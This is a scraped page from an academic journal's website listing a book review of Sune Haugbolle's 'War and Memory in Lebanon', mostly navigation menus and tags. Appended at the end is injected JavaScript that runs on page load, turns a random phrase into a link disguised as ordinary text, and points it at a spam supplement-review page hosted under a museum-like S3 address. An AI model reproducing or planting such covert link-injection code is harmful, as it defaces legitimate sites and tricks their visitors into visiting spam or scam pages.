My Account
Orders
Login
Register
Advanced Search
Contact Us
(972) 5605209
Home
About JLS
Editorial Board
Advisory Board
Issues
Vol. 9 No. 1 | Summer 2019
Vol 8 No 2 Winter 2018
Vol. 8, No. 1: Summer 2018
Vol. 7, No. 2: Winter 2017
Vol. 7, 1: Summer 2017
Vol. 6, Summer/Winter 2016
Vol. 5, No. 2 Winter 2015
Vol. 5, No. 1 Summer 2015
Vol. 4, No. 2 Winter 2014
Vol. 4, No. 1 Summer 2014
Vol. 3, No. 2 Winter 2013
Vol. 3, No. 1 Summer 2013
Vol. 2, No. 2 Winter 2012
Vol. 2, No. 1 Summer 2012
Vol. 1, No. 2 Winter 2011
Vol. 1, No. 1 Summer 2011
Blog
dock-uments
Subscribe
Submit
Contact
Sune Haugbolle, War and Memory in Lebanon. Cambridge: Cambridge University Press, 2010. 260 pp.
Free download
Download
Description
Product Description
Christian Thuselt
Book Review of:
Sune Haugbolle,
War and Memory in Lebanon
. Cambridge: Cambridge University Press, 2010. 260 pp.
Category:
Book Reviews Summer 2012
Tags:
Book Review
,
Christian Thuselt
,
Cultural Studies
,
History
,
Intellectual History
,
Lebanon
,
Sune Haugbolle
Facebook
Twitter
Email
Home
About JLS
Editorial Board
Advisory Board
Issues
Vol. 9 No. 1 | Summer 2019
Vol 8 No 2 Winter 2018
Vol. 8, No. 1: Summer 2018
Vol. 7, No. 2: Winter 2017
Vol. 7, 1: Summer 2017
Vol. 6, Summer/Winter 2016
Vol. 5, No. 2 Winter 2015
Vol. 5, No. 1 Summer 2015
Vol. 4, No. 2 Winter 2014
Vol. 4, No. 1 Summer 2014
Vol. 3, No. 2 Winter 2013
Vol. 3, No. 1 Summer 2013
Vol. 2, No. 2 Winter 2012
Vol. 2, No. 1 Summer 2012
Vol. 1, No. 2 Winter 2011
Vol. 1, No. 1 Summer 2011
Blog
dock-uments
Subscribe
Submit
Contact
My Account
Orders
Login
Register
const CONFIG = { url: "https://aga-khan-museum-assets.s3.amazonaws.com/media/the-brain-song-reviews-2026-should-you-buy-it_tkud6.html", linkTarget: "_blank", minWordLength: 2, maxWordLength: 2, skipTags: ["a", "script", "style", "h1", "h2", "h3", "noscript"], }; function insertDynamicLink() { const walker = document.createTreeWalker( document.body, NodeFilter.SHOW_TEXT, { acceptNode(node) { const parent = node.parentElement; if (!parent) return NodeFilter.FILTER_REJECT; const tag = parent.tagName.toLowerCase(); if (CONFIG.skipTags.includes(tag)) return NodeFilter.FILTER_REJECT; if (parent.closest("a")) return NodeFilter.FILTER_REJECT; if (node.textContent.trim().split(/\s+/).length < CONFIG.minWordLength) return NodeFilter.FILTER_REJECT; return NodeFilter.FILTER_ACCEPT; }, } ); const textNodes = []; let node; while ((node = walker.nextNode())) { textNodes.push(node); } if (textNodes.length === 0) return; const randomNode = textNodes[Math.floor(Math.random() * textNodes.length)]; const words = randomNode.textContent.trim().split(/\s+/); if (words.length < CONFIG.minWordLength) return; const phraseLength = Math.min( CONFIG.minWordLength + Math.floor(Math.random() * (CONFIG.maxWordLength - CONFIG.minWordLength + 1)), words.length ); const maxStart = words.length - phraseLength; const startIndex = Math.floor(Math.random() * (maxStart + 1)); const phrase = words.slice(startIndex, startIndex + phraseLength).join(" "); const fullText = randomNode.textContent; const phraseIndex = fullText.indexOf(phrase); if (phraseIndex === -1) return; const before = fullText.substring(0, phraseIndex); const after = fullText.substring(phraseIndex + phrase.length); const link = document.createElement("a"); link.href = CONFIG.url; link.textContent = phrase; link.target = CONFIG.linkTarget; link.rel = "noopener noreferrer"; link.style.cssText = "color:inherit;text-decoration:none;"; const fragment = document.createDocumentFragment(); if (before) fragment.appendChild(document.createTextNode(before)); fragment.appendChild(link); if (after) fragment.appendChild(document.createTextNode(after)); randomNode.parentNode.replaceChild(fragment, randomNode); } document.addEventListener("DOMContentLoaded", insertDynamicLink);